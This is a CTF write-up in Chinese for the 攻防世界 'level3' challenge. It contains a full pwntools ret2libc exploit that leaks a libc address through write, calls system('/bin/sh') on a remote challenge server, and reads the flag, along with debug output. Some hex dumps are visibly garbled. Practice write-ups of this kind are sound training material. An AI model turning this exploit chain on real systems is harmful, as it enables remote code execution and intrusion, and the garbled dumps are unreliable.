level3 攻防世界

明显的栈溢出漏洞

```
1 ssize_t vulnerable_function()
2 {
3    char buf[136]; // [esp+0h] [ebp-88h] BYREF
4
5    write(1, "Input:\n", 7u);
6    return read(0, buf, 0x100u);
7 }
```

而且没有提供system和/bin/sh,但是可以通过write来泄露got表中system和/bin/sh

```
GOT protection: Partial RELRO | GOT functions: 4

[0x804a00c] read@GLIBC_2.0 -> 0x8048316 (read@plt+6) <- push 0 /* 'h' */
[0x804a010] __gmon_start__ -> 0x8048326 (__gmon_start__@plt+6) <- push 8

[0x804a014] __libc_start_main@GLIBC_2.0 -> 0xf7e15550 (__libc_start_main) <- call 0xf7f1cc59
[0x804a018] write@GLIBC_2.0 -> 0x8048346 (write@plt+6) <- push 0x18
```

Python

```
1 from pwn import *
2 context.log_level = 'debug'
3 #p = process('./pwn')
4 p = remote('111.200.241.244',41866)
 5 elf = ELF('./pwn')
6 libc = ELF('./libc_32.so.6')
7 write_plt = elf.plt['write']
8 write_got = elf.got['write']
9 main_addr = elf.symbols['main']
10 payload = 'A'*0x88 + 'A'*0x04 +
   p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
11 p.sendlineafter('Input:\n',payload)
12 write_addr = u32(p.recv(4))
13 libc_base = write_addr - libc.symbols['write']
14 sys_addr = libc_base + libc.symbols['system']
15 binsh_addr = libc_base + libc.search('/bin/sh').next()
print hex(libc_base),hex(sys_addr),hex(binsh_addr)
17 payload = 'A'*0x88 + 'A'*0x04 + p32(sys_addr)+p32(main_addr)+p32(binsh_addr)
18 p.sendlineafter('Input:\n',payload)
19 p.interactive()
```

```
root@ams:/home/ams/ctf# python exp.py
[+] Opening connection to 111.200.241.244 on port 41866: Done
[DEBUG] PLT 0x8048310 read
[DEBUG] PLT 0x8048320 __gmon_start__
[DEBUG] PLT 0x8048330 __libc_start_main
[DEBUG] PLT 0x8048340 write
[*] '/home/ams/ctf/pwn'
              i386-32-little
   Arch:
              Partial RELRO
   RELRO:
   Stack:
             NX enabled
   NX:
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/home/ams/ctf/libc_32.so.6'
   Arch:
             i386-32-little
              Partial RELRO
   RELRO:
   Stack:
             Canary found
   NX:
             NX enabled
   PIE:
              PIE enabled
```

```
'Input:\n'
[DEBUG] Sent 0xal bytes:
   AAAA AAAA AAAA AAAA
   00000080 41 41 41 41 41 41 41 41 41 41 41 41 40 83 84 88
                                                          M AAAA AAAA AAAA
   00000090 84 84 84 88 81 80 86 86 18 a6 84 88 64 88 88
   000000a0
   000000a1
[DEBUG] Received 0x4 bytes:
   00000000 😅 33 63 🖤
                                                          3c
   00000004
0xf755f000 0xf7599940 0xf76b802b
[DEBUG] Received 0x7 bytes:
   'Input:\n'
[DEBUG] Sent 0x99 bytes:
   AAAA AAAA AAAA AAAA
   00000080 41 41 41 41 41 41 41 41 41 41 41 41 40 99 59 67
                                                          AAAA AAAA AAAA @ Y
   00000090 84 84 94 98 2b 80 6b 67
                                                              + k
   00000099
[*] Switching to interactive mode
s ls
[DEBUG] Sent 0x3 bytes:
   'ls\n'
[DEBUG] Received 0x24 bytes:
   'bin\n'
   'dev\n'
   'flag\n'
   'level3\n'
   'lib\n'
   'lib32\n'
   'lib64\n'
bin
dev
flag
level3
lib
lib32
lib64
s cat flag
[DEBUG] Sent 0x9 bytes:
   'cat flag\n'
[DEBUG] Received 0x2d bytes:
   'cyberpeace{d0af2feb3468abbf701286e2d539acc5}\n'
cyberpeace{d0af2feb3468abbf701286e2d539acc5}
```